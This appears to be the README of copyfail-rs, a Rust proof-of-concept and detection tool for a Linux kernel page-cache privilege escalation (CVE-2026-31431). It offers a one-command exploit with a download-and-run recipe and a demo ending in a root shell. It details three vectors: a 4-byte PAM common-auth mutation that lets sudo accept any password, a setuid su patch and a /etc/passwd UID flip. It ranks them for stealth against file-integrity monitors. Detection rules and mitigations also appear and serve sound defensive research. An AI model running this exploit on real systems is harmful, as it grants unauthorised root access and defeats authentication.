
CopyFail (CVE-2026-31431): PoC-эксплойт для повышения привилегий через page-cache в ядре Linux + единственный публичный инструмент обнаружения. Новый вектор обхода аутентификации PAM + правила Sigma/auditd/eBPF.
Мультивекторный PoC + парное обнаружение для CVE-2026-31431 (CopyFail). Включает новый вектор обхода аутентификации PAM, которого нет ни в одном другом публичном PoC. Режим обнаружения ловит то, что AIDE / Wazuh / OSSEC / Tripwire структурно не могут.
Один статический бинарник. ~108 КБ. no_std musl.
noot@host:~$ ./copyfail-rs --mode exploit
[sudo] password for noot:
root@host:~# id
uid=0(root) gid=0(root) groups=0(root)
root@host:~#
Одна команда. Root-шелл. PAM-киллшот под капотом (одиночная запись 4 байт в /etc/pam.d/common-auth), PTY-сброс в root через sudo с отброшенным паролем. Строка [sudo] password for noot: мелькает на мгновение — sudo всегда выводит это приглашение; бинарник подаёт ему любую строку, и сбой pam_unix каскадно проходит через закомментированный pam_deny.so к pam_permit.so → root.
$ ./copyfail-rs --mode detect --scan
=== copyfail-rs detection: --scan ===
TAMPERED (1):
/etc/pam.d/common-auth [ext4]
cache: 23c4f1ee... ← что реально загружено (мутировано)
disk: 117dab1c... ← что видят AIDE / Wazuh / Tripwire (чисто)
Вот и весь проект. Диск чист, кэш мутирован. Каждый публичный FIM слеп. Этот инструмент — нет.
Готовые статические бинарники на релизе v0.1.0. Выберите свою архитектуру, скачайте, запустите.
# x86_64 (большинство ноутбуков + облачные серверы)
curl -LO https://github.com/diemoeve/copyfail-rs/releases/download/v0.1.0/copyfail-x86_64-musl
chmod +x copyfail-x86_64-musl
./copyfail-x86_64-musl --mode exploit
Другие архитектуры:
| Архитектура | Файл |
|---|---|
| ARM64 (aarch64) | copyfail-aarch64-musl |
| ARMv7 (Raspberry Pi 3+) | copyfail-armv7-musleabihf |
Проверка целостности:
curl -LO https://github.com/diemoeve/copyfail-rs/releases/download/v0.1.0/checksums.txt
sha256sum -c checksums.txt
Статические musl-бинарники, без зависимостей времени выполнения, работают на любом Linux.
Мутация page cache. Нет записи через VFS. Нет грязной страницы. Нет события inotify. Периодическое повторное сканирование соревнуется с вытеснением.
AIDE/Wazuh/OSSEC/Tripwire/Samhain читают через буферизованный ввод-вывод → page cache → хешируют мутированные байты как истину. Или после вытеснения хешируют чистый диск → «никаких изменений никогда не было».
Для обнаружения нужен O_DIRECT (пропуск кэша) + буферизованное чтение (попадание в кэш) + разница хешей. Несовпадение = сигнатура CopyFail. Это и есть --scan.
Автовыбор: --vector auto (по умолчанию). Ранжирует pam > su > passwd по скрытности. Откатывается при сбое.
--json везде для приёма в SIEM.
detection/:
sigma/copyfail-af-alg.yml, Sigma-правило, закиньте в свой SIEMauditd/copyfail.rules, augenrules --loadebpf/copyfail-trace.bt, однострочник bpftraceapparmor/copyfail-block.profile, правило запрета AppArmor 3.0+mitigation/disable-algif.sh, чёрный список modprobe + предупреждение =yecho "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
sudo rmmod algif_aead
Или основная ветка ядра a664bf3d603d (апрель 2026). На данный момент: только Debian Sid/Forky выпустили. Ubuntu LTS, RHEL, SUSE, Amazon Linux, Fedora, Arch, Oracle — все уязвимы.
Оговорка: CONFIG_CRYPTO_USER_API_AEAD=y (встроенный) молча обходит modprobe. --check предупреждает.
После эксплуатации + смягчения: мутированный кэш сохраняется до перезагрузки. Смягчение блокирует НОВЫЕ эксплойты, но не отменяет прошлые.
cargo build --release --target x86_64-unknown-linux-musl
| Цель | Размер |
|---|---|
| x86_64-musl | 108 КБ |
| aarch64-musl | 96 КБ |
| armv7-musleabihf | 86 КБ |
no_std. Без аллокатора. Без зависимостей времени выполнения. Один статический бинарник.
Готовые артефакты и SHA256-суммы прикреплены к релизам GitHub.
См. docs/usage.md для конкретных примеров на один экран для каждого режима (exploit auto/list/all, detect check/scan/baseline/diff/watch/hunt).
Для более развёрнутой повествовательной версии этого README (больше контекста, глубже изложение) см. BLOG.md.
См. docs/threat-model.md.
Только собственное оборудование. Нет CLI-шлюза (театр безопасности). README + LICENSE = рамки.
Режим обнаружения — только чтение. Безопасен на проде.
Режим эксплуатации мутирует page cache ядра. Только в RAM, но относитесь как к разрушительному. Блокирует аутентификацию для любого последующего вызывающего.
CVE-2026-31431 раскрыта Theori / Xint 2026-04-29 (разбор, блог Xint). Предыдущие публичные PoC:
Этот проект (copyfail-rs): добавляет вектор обхода аутентификации PAM, двухрежимное обнаружение, артефакты IR.
MIT.
a664bf3d603d72548b093ee3 (4.14, авг 2017)| Вектор | Цель | Куда попадает |
|---|
pam (НОВЫЙ) | /etc/pam.d/common-auth (Debian/Ubuntu) или system-auth (Fedora/RHEL/Arch) | 4 байта. auth requisite pam_deny.so → #aut requisite pam_deny.so. Sudo с любым паролем = root. |
su | /usr/bin/su | Мутация текста setuid-бинарника. execve → root. |
passwd | /etc/passwd | Переворот UID → пользователь становится root при следующем входе. Ломает SSH для этого пользователя. |
| Режим | Что делает |
|---|
--check | Ядро + модуль + CONFIG_CRYPTO_USER_API_AEAD + статус смягчения. Вердикт: уязвим / смягчено / безопасно. |
--scan | Разница O_DIRECT и буферизованного чтения критических файлов. Ветвление через statfs(): ext4/xfs/btrfs используют O_DIRECT, overlayfs откатывается, tmpfs пропускается. |
--baseline / --diff | Снимок заведомо чистого состояния. Сравнение позже. Дельта только в кэше = отпечаток CopyFail. |
--watch | Демон. Периодическое сканирование. SIGTERM — чистое завершение. |
--hunt | Обход SSH-флота. JSON-агрегаты. |
| Theori Python | tgies C | badsectorlabs Go | copyfail-rs |
|---|
| Векторы | su | su + passwd | su | su + passwd + PAM (новый) |
| Обнаружение | нет | нет | нет | полный --mode detect |
| Артефакты IR | нет | нет | нет | Sigma + auditd + eBPF + AppArmor |
| UX оператора | 3 команды | 4 команды | 5 команд | 1 команда |
| Бинарник | нужен Python | ~10 КБ | ~5 МБ | ~108 КБ статический |